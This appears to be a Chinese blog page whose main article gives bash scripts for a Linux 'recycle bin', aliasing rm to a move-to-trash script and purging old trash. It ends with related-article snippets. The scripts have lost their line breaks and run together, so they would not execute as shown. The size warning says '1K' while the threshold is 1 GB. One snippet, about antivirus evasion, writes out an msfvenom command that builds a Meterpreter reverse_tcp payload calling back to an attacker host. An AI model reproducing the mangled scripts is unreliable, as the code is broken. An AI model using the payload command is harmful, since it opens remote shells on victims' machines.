当前位置: 首页 > news >正文

给自己Linux搞个『回收站』,防止文件误删除

linux没有像windows里一样的回收站,工作时候删除文件容易不小心删错,造成麻烦的后果。所以给自己整了个回收站:

文件删除,新建~/opts/move_to_trash.sh,然后在里面新增,将${your_name}改成你的用户名。同时在~/.bashrc中alias rm命令到这个脚本,即是alias rm='sh ~/opts/move_to_trash.sh',别忘了source ~/.bashrc使其生效。 在删除的时候,会在原文件名字后面新增删除时的时间戳信息。

#!/bin/bash
PARA_CNT=$#
USER_HOME=/home/${your_name}
TRASH_DIR="${USER_HOME}/.trash"   # 指定垃圾箱目录
mkdir -p ${TRASH_DIR}
for i in $*; doif [ -f "$i" ] && [ `ls -l $i|awk '{print $5}'` -gt 1073741824 ]; thenecho "$i size is larger than 1K, can not delete it !"continuefiSTAMP=`date +%Y%m%d`      # 删除时间fileName=`basename $i`mv $i $TRASH_DIR/$fileName.$STAMP   # 删除文件命令,放到垃圾箱
done
echo "remove ${PARA_CNT} file/folder, fetch back if you need at ${TRASH_DIR}"

同时,可以考虑新增一个清除回收站的脚本,定期运行保证空间干净。由于保存了时间戳,时间超过当前7天的文件就可以删除掉了。

#!/bin/bashKEEP_DAY_DURATION=7TRASH_PATH="/data1/${your_name}/.trash"
current_date=$(date +%Y%m%d)
date_minus_10=$(date -d "$current_date -${KEEP_DAY_DURATION} days" +%Y%m%d)
ddl_timestamp=$(date -d "$date_minus_10" +%s)
echo "current date is ${current_date}, the files in trash before ${date_minus_10} will be COMPLETELY delete, are your sure?"
read -p "Do you want to continue? (y/n) " answercase ${answer} in[Yy]* )echo "deleting..."ls -l ${TRASH_PATH} | awk -F " " 'NF==9{print $NF}' > .tmpread -ra READ_LIST -d '' < .tmprm .tmpfor filename in "${READ_LIST[@]}";do filedate=`echo ${filename} | awk -F "." '{print $NF}'`filedate_stamp=`date -d "$filedate" +%s`if [ $filedate_stamp -lt $ddl_timestamp ]; thenabs_filename="${TRASH_PATH}/${filename}"/usr/bin/rm -rf ${abs_filename}echo "delete ${abs_filename}"fidone;;[Nn]* )echo "skip and exit"exit -1;;* )echo "not valid answer ${answer} and exit"exit -1;;
esac

相关文章:

给自己Linux搞个『回收站』,防止文件误删除

linux没有像windows里一样的回收站&#xff0c;工作时候删除文件容易不小心删错&#xff0c;造成麻烦的后果。所以给自己整了个回收站&#xff1a; 文件删除&#xff0c;新建~/opts/move_to_trash.sh&#xff0c;然后在里面新增&#xff0c;将${your_name}改成你的用户名。同时…...

Springboot接收参数的21种方式

前言 最近一直在忙着开发项目(ps:其实有些摆烂),好久没有更新博客了,打开csdn一看好多网友留言私信,继上篇博客(我是如何实现HttpGet请求传body参数的!),网友议论纷纷,各抒起见。今天正好抽出时间总结一下Springboot接受参数的21种方式(Post、Get、Delete),一并…...

打造出色开发者体验的十大原则

大约十年前我是一名CIO&#xff0c;当时我在评估一种技术解决方案&#xff0c;向潜在供应商的代表讲明了我们的主要需求。他展示了该公司的至少三款产品。每种工具都有各自的用户体验、开发方法和学习要求&#xff0c;但是解决我们的业务需求同时需要这三种工具。作为CIO&#…...

Vue3_对接腾讯云COS_大文件分片上传和下载

目录 一、腾讯云后台配置 二、安装SDK 1.script 引入方式 2.webpack 引入方式 三、文件上传 1.new COS 实例 2.上传文件 四、文件下载 腾讯云官方文档&#xff1a; 腾讯云官方文档https://cloud.tencent.com/document/product/436/11459 一、腾讯云后台配置 1.登录 对…...

python免杀--base64加密(GG)

单层加密都GG~ 目录 cs生成个python的payload 将shellcode进行base64编码 执行上线代码 cs生成个python的payload msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhostIP lport6688 -f c cs生成c的也行. 将shellcode进行base64编码 import base64code …...

Python版与Java版城市天气信息爬取对比分析

在对比Python版和Java版城市天气信息爬取时&#xff0c;我们需要考虑多个方面&#xff0c;包括语言特性、库支持、代码简洁性、执行效率以及维护成本等。以下是对这两个版本进行的一些对比分析&#xff1a; 1. 语言特性 Python&#xff1a; 易于学习&#xff1a;Python的语法清…...

CSS真题合集(二)

CSS真题合集&#xff08;二&#xff09; 11. css3新增特性12. css3动画12.1 关键帧动画 (keyframes)12.2 animation12.3 transition12.4 transform 13. grid网格布局13.1 使用display: grid或display: inline-grid的HTML元素。13.2 定义网格13.3 13.4 自动填充和自动放置13.4 对…...

长期出汗困扰你?可能是肾合出了问题

想象一下&#xff0c;我们的身体是一座繁茂的秘密花园&#xff0c;每一寸肌肤、每一个细胞都是花园里的一朵花、一片叶。汗水&#xff0c;则是这花园中无声的语言&#xff0c;它讲述着我们的健康与否&#xff0c;也揭示着身体内部的微妙变化。 在炎炎夏日&#xff0c;身体如盛开…...

Jmeter函数二次开发说明

jmeter 二次开发使用 jmeter二次开发实现方法 使用maven依賴进行开发 导入jmeter的maven依赖&#xff0c;需要和你使用的jmeter版本一致。 <!-- https://mvnrepository.com/artifact/org.apache.jmeter/ApacheJMeter_core --> <dependency><groupId>org.ap…...

重新学习STM32(1)GPIO

概念简介 GPIO 是通用输入输出端口的简称&#xff0c;简单来说就是 STM32 可控制的引脚。STM32 芯片通过 GPIO 引脚与外部设备连接起来&#xff0c;从而实现与外部通讯、控制以及数据采集的功能。 GPIO被分成很多组&#xff0c;比如 GPIOA和GPIOB等。所有的 GPIO引脚都有基本的…...

React+TS前台项目实战(二)-- 路由配置 + 组件懒加载 + Error Boundary使用

文章目录 前言一、路由配置和懒加载lazy的使用二、TS版本Error Boundary组件封装三、在layout组件中使用Suspense组件和错误边界组件总结 前言 本文将详细介绍项目中的页面路由配置和异步组件懒加载处理&#xff0c;以提高用户体验&#xff0c;实现过渡效果。 一、路由配置和懒…...

成为电商低价神秘顾客访问员的必备条件(深圳神秘顾客公司)

电商低价神秘顾客需要具备以下条件&#xff0c;以确保能够执行有效的调查任务并为企业提供有价值的反馈&#xff1a; 1、细致的观察能力&#xff1a;神秘顾客访问员需要具备细致的观察能力&#xff0c;能够全面、细致地观察电商平台的购物流程、商品详情、服务细节等。这包括注…...

现货黄金交易多少克一手?国内外情况大不同

如果大家想参与国际市场上的现货黄金交易&#xff0c;就应该从它交易细则的入手&#xff0c;先彻底认识这个品种&#xff0c;因为它是来自欧美市场的投资方式&#xff0c;所以无论是从合约的计的单位&#xff0c;计价的货币&#xff0c;交易的具体时间&#xff0c;以及买卖过程…...

LNMP与动静态网站介绍

Nginx发展 Nginx nginx http server Nginx是俄罗斯人 Igor Sysoev(伊戈尔.塞索耶夫)开发的一款高性能的HTTP和反向代理服务器。 Nginx以高效的epoll.kqueue,eventport作为网络IO模型&#xff0c;在高并发场景下&#xff0c;Nginx能够轻松支持5w并发连接数的响应&#xff0c;并…...

教育小程序开发:技术实现与实践案例

随着信息技术的不断进步&#xff0c;教育小程序在教育领域的应用越来越广泛。教育小程序开发不仅可以提高教学效率&#xff0c;还能够提供个性化的学习体验。本文将以技术代码为例&#xff0c;详细介绍教育小程序开发的关键技术和实践案例&#xff0c;帮助开发者更好地理解和实…...

LeetCode 746.使用最小花费爬楼梯

题目&#xff1a; 给你一个整数数组 cost &#xff0c;其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用&#xff0c;即可选择向上爬一个或者两个台阶。 你可以选择从下标为 0 或下标为 1 的台阶开始爬楼梯。 请你计算并返回达到楼梯顶部的最低花费…...

软件设计模式概述

一 软件模式概述 软件设计模式是在软件开发过程中经过验证的、可重复使用的最佳实践。 它们提供了解决常见设计问题的模板和指导方针&#xff0c;有助于开发人员编写高质量、可维护和可扩展的代码。 软件设计模式通常基于面向对象的编程范式&#xff0c;并利用封装、…...

短剧片源火爆,千金难求好剧源

前言 在当今快节奏的生活中&#xff0c;短剧以其精悍的篇幅、吸睛的剧情和便捷的观看方式&#xff0c;异军突起&#xff0c;吸引了大量观众的关注和喜爱。这些短剧不仅让人们在忙碌的间隙轻松娱乐&#xff0c;更以其高潮迭起的情节设计&#xff0c;让观众在短时间内便能体验到…...

MES系统定制 | 生产调度车间排班计划/MES排程排产

MES系统是一种集成化的生产信息化管理系统&#xff0c;通过实时收集和分析车间生产数据&#xff0c;帮助企业实现生产过程的自动化控制和监测。它可以跟踪生产计划、设备状态、物料流动等关键指标&#xff0c;并提供实时报表和决策支持。在这个系统中&#xff0c;车间班次排班是…...

【Anaconda】 anaconda常用命令总结

【Anaconda】 anaconda常用命令总结 一、创建虚拟环境二、激活/使用/进入某个虚拟环境三、退出当前环境四、复制某个虚拟环境五、删除某个环境六、查看当前所有环境七、查看当前虚拟环境下的所有安装包八、安装或卸载包(进入虚拟环境之后&#xff09;九、分享虚拟环境十、源服务…...

VIsio Professional 绘图

...

Flutter InAppWebView Unknown feature SUPPRESS_ERROR_PAGE

在使用InAppWebView的initialData加载html代码的时候,出现java.lang.RuntimeException: Unknown feature SUPPRESS_ERROR_PAGE的出错误 E/MethodChannel#flutter/platform_views(16853): Failed to handle method call E/MethodChannel#flutter/platform_views(16853):<...

linux系统PXE自动装机和无人值守

一、PXE 1.PXE&#xff1a;c/s模式&#xff0c;允许客户端通过网络从远程服务器&#xff08;服务端&#xff09;下载引导镜像&#xff0c;加载安装文件&#xff0c;实现自动化安装操作系统。&#xff08;c/s客户端和服务端都可以是多台&#xff09; 2.PXE优点&#xff1a;规模…...

大模型的高考数学成绩单:及格已经非常好了

让考生头皮发麻的高考数学&#xff0c;可难倒了顶尖 AI 大模型。 一年一度的高考即将落幕&#xff0c;衷心希望各位考生都超常发挥&#xff0c;考出满意的好成绩&#xff01;&#xff01; 和往年一样&#xff0c;除了让 AI 大模型写写高考作文&#xff0c;我们也选取了六家国…...

【漏洞复现】CraftCMS ConditionsController.php 代码执行漏洞(CVE-2023-41892)

0x01 产品简介 Crat CMS是一个开源的内容管理系统&#xff0c;它专注于用户友好的内容创建过程&#xff0c;逻辑清晰明了&#xff0c;是一个高度自由&#xff0c;高度自定义设计的平台&#xff0c;可以用来创建个人或企业网站也可以搭建企业级电子商务系统。 0x02 漏洞概述 …...

代码随想录算法训练营第三十八 |● 509. 斐波那契数 ● 70. 爬楼梯 ● 746. 使用最小花费爬楼梯

我在每一个算法开始之前都会去认真的看一下这个理论基础&#xff0c;或者说是算法的主要思想&#xff0c;可以直接看视频carl讲解的很清晰&#xff1b;其次还会大致看一下这一part中的题型及难度 动态规划理论基础讲解链接&#xff1a;https://programmercarl.com/%E5%8A%A8%E6…...

如何有效处理服务器后台密码暴露

服务器后台密码的暴露是信息安全领域中的严重事件&#xff0c;它可能引发未经授权的数据访问、恶意软件植入或系统功能滥用等一系列问题。本文将探讨几种处理服务器后台密码暴露的有效策略&#xff0c;包括紧急响应步骤、密码安全增强措施及长期预防机制&#xff0c;并提供实际…...

使用本地大模型调用代码,根本就是一场骗局!

通过大模型调用其他工具到底可不可行&#xff1f;ChatGPT 或许能轻松搞定一切&#xff0c;但同样的需求落在本地大模型上&#xff0c;恐怕就要打个问号了。 法国开发工程师 Emilien Lancelot 尝试了多款号称具备工具调用功能的 agent 框架&#xff0c;来看看本地大模型到底能不…...

一些简单却精妙的算法

文章目录 1.树状数组2.红黑树3.星星打分4.欧几里得算法5.快速幂6.并查集 在编程的世界里&#xff0c;简洁的代码往往隐藏着深邃的智慧。一起来看看那些看似简单&#xff0c;实则精妙绝伦的代码片段&#xff0c;体会编程语言的优雅与力量。 1.树状数组 int lowbit(int x) { …...

git多账号使用报错:You don‘t have permissions to push to “xxx/xxxx“ onGitHub. Would

git多账号使用报错&#xff1a;You don’t have permissions to push to “xxx/xxxx” onGitHub. Would 有的时候我们有两个甚至多个git账号&#xff08;公司的git账号和自己的github&#xff09;&#xff0c;为了不混淆提交&#xff0c;我们需要在提交之前查看自己的git账号必…...

电子商务网站建设与管理考试/关键词挖掘工具

九、map 9.1 map概述 map是key-value数据结构&#xff0c;又称为字段或者关联数组。类似其它编程语言的集合&#xff0c;在编程中是经常使用到 基本语法 var map 变量名 map[keytype]valuetypekey可以是什么类型 golang中的map&#xff0c;的 key 可以是很多种类型&#xf…...

网站建设文化流程/免费浏览外国网站的软件

直接集成IE8最新优化版 并更新补丁&#xff01; 更新FLASH为11.6稳定版 采用最稳定的优化方法速度更快更稳定&#xff01; XP地址&#xff1a;http://pan.baidu.com/share/link?shareid397614&uk1681164589 WIN7地址&#xff1a;http://pan.baidu.com/share/link?shareid…...

沧州网站制作公司/seo优化方案策划书

我想要向您介绍能想像到的开始 GUI 编程的最简单方法&#xff0c;就是使用 Scriptics 的 TK 和 Tkinter 封装器。我们将与 developerWorks 中的 “Python 中的 curses 编程” 提到的 curses 库进行很多比较。除了 curses 实现文本控制台而 TK 实现 GUI 这一差别之外&#xff0c…...

2015年做那些网站能致富/电商网站平台搭建

课程介绍 IDEA是一款功能强悍、非常好用的Java开发工具&#xff0c;近几年编程开发人员对IDEA情有独钟。虽然IDEA功能很强大&#xff0c;但目前市面讲解的不细致、不系统&#xff0c;导致很多IDEA初学者要么无从下手&#xff0c;要么耗费太多时间。本套课程分知识点进行录制讲解…...

简单aspx网站开发/百度网址大全设为主页

我们在用到下拉列表框select时&#xff0c;需要对选中的<option>选项触发事件&#xff0c;其实<option>本身没有触发事件方法&#xff0c;我们只有在select里的 onchange方法里触发。<!doctype html> <html lang"en"> <head><meta …...

重庆做公司网站/有哪些网络营销公司

嗜欲深者天机浅&#xff0c;嗜欲浅者天机深 易经基础知识 一、易经的创作过程 三个阶段&#xff1a;阴阳概率的产生、八卦创立、重卦并撰成卦爻辞。&#xff08;一&#xff09;一阴一阳之谓道&#xff08;阴阳&#xff09; 太极生两仪&#xff0c;两仪就是阴阳。人世间的一切事…...